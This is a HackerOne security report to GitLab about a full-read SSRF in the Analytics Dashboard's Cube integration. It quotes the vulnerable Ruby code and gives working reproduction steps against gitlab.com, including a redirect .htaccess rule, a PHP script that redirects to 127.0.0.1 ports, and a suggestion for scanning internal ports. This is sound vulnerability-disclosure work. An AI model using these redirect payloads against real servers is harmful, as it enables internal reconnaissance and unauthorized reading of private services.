Full read SSRF in Analytics Dashboard bypassing all localhost restrictions (GET and POST)
HackerOne report #2697456 by joaxcar
on 2024-09-04, assigned to GitLab Team
:
Report | Attachments | How To Reproduce
Report
Summary
There exists a full read (GET and POST) SSRF in the Analytics Dashboard integration. An attacker can fully control the port, path and parameters on the request and read the full response. The attack can target localhost
even on instances where all local access has been turned off
The issue is that the method query_data
that is used to fetch data from Cube
looks like this
def query_data
options = {
allow_local_requests: true,
headers: cube_security_headers
}
begin
response = if params[:path] == 'meta'
Gitlab::HTTP.get(cube_server_url(params[:path]), options)
else
::Gitlab::HTTP.post(
cube_server_url(params[:path]),
options.merge(body: { query: params[:query], queryType: params[:queryType] }.to_json)
)
end
body = Gitlab::Json.parse(response.body)
rescue Gitlab::Json.parser_error, *Gitlab::HTTP::HTTP_ERRORS => e
return ServiceResponse.error(message: e.message, reason: :bad_gateway)
end
...
end
where you can see that the allow_local_requests: true
flag is set. This is dangerous as the cube_server_url
is user controlled. If the request hits an internal service that do not respond with JSON
the return ServiceResponse.error(message: e.message, reason: :bad_gateway)
will return the full response as is and return it in the GraphQL
error message.
When the requested path
is not meta
the ::Gitlab::HTTP.post
will run. And as this will follow redirects by default we can abuse this to hit any service as either a GET
(by sending the request to a 301
redirect that converts the request to GET
) or as POST
(by sending the request to a 307
redirect that preserve POST
).
The base request will go to http://YOURSERVER.com/cubejs-api/v1/load
, this is not a problem as we can just make our server respond with a redirect like this http://localhost:PORT/PATH?QUERY
and that will be the request that hits the backend.
I have made a small script to scan ports using this but have not run it against prod. I have tested redirecting to http://127.0.0.1:8080
on prod and that gave me the gitlab main page back in the response (as this is the port of the webserver).
Please get back to me if I am allowed to test further to see what I can find, or if there is a list of ports I can try out.
Steps to reproduce
I have verified this on my local GDK instance, where it is easier to see that it is hitting the local host. But as its quite cumbersome to set it up I will provide a POC for prod first
(note step 4 IP 159.223.181.253:4567
this is my own collector server on Digitalocean. Its possible to set up your own, but its only needed to get a valid configuration and does not do anything else, if you want to run your own deploy https://gitlab.com/gitlab-org/analytics-section/product-analytics/devkit on a droplet)
- Create a new Group with an
ultimate
subscription. Use a trial account - In the new group create a new project
- Go to
https://gitlab.com/GROUPNAME/PROJECTNAME/-/settings/analytics
- Fill out the form with
-
Snowplow configurator connection string
:http://test:test@159.223.181.253:4567
-
Collector host
:https://example.com
-
Cube API URL
:https://joaxcar.com/get/1234/
-
Cube API key
:anything
- Save the configuration
- Go to
https://gitlab.com/GROUPNAME/PROJECTNAME/-/analytics/dashboards/product-analytics-onboarding
- Select the left option
connect to your own provider
, make sure to have devtools open - Search for
graphql
in the network tab and look for the last one it should contain an error in the response saying that127.0.0.1:1234
did not accept a connection. This is as there is nothing running on 1234 - Go back to
https://gitlab.com/GROUPNAME/PROJECTNAME/-/settings/analytics
and change theCube API URL
tohttps://joaxcar.com/get/8181/
- Do step 6-8 again. You should now have the full content of gitlab.com main page in the error instead. This has now been served from
localhost:8181
(only for gitlab triage)To play with this localy on GDK follow these steps:
- Install GDK
- Follow the guide here to set up a local analytics system https://gitlab.com/gitlab-org/analytics-section/product-analytics/devkit
- Connect it to your GDK like so https://gitlab.com/gitlab-org/analytics-section/product-analytics/devkit#connecting-gdk-to-your-devkit
- Now you should be able to use this server to set everything up in GDK
- Host a "redirect service" somewhere that will throw a redirect on any request ending in
cubejs-api/v1/load
. My POC above use this config in.htaccess
[RewriteRule ^get/([0-9]+)/cubejs-api/v1/load$ /poc/gitlab/port.php?port=$1 [L,QSA]
RewriteCond %{REQUEST_URI} ^/post/([0-9]+)/cubejs-api/v1/load$](<RewriteCond %{REQUEST_URI} ^/get/([0-9]+)/cubejs-api/v1/load$
RewriteRule ^get/([0-9]+)/cubejs-api/v1/load$ /poc/gitlab/port.php?port=$1 [L,QSA]>)
that will redirect all requests based on the path to my script at /poc/gitlab/port.php?port=$1
looking like this
<?php
header("Location: http://127.0.0.1:" . $_GET['port'], true, 301);
exit;
?>
It is also possible to build a more efficient port-scan by just using a single redirect that will return different ports each time its requested, its then possible to loop the graphql
request and scan the full port range quickly
Impact
Full read (and potentially write) SSRF POST
and GET
that bypass all localhost
filters.
I know that this kind of SSRF got rated as critical
here https://hackerone.com/reports/878779 but that was unauthenticated which should put this one at high
at least. But as stated I have not done extensive testing against prod, it might be that this SSRF using POST could also have integrity
impact.
What is the current bug behavior?
Cube requests are allowed to hit localhost
despite not being allowed in settings.
What is the expected correct behavior?
As Cube URL is user controlled it should follow the same rules as other webhooks and services
Output of checks
This bug happens on GitLab.com
Impact
Full read (and potentially write) SSRF POST
and GET
that bypass all localhost
filters.
Attachments
Warning: Attachments received through HackerOne, please exercise caution!
- Screenshot_2024-09-04_at_10.48.11.png
- Screenshot_2024-09-04_at_12.04.07.png
- Screenshot_2024-09-04_at_12.04.20.png
How To Reproduce
Please add reproducibility information to this section: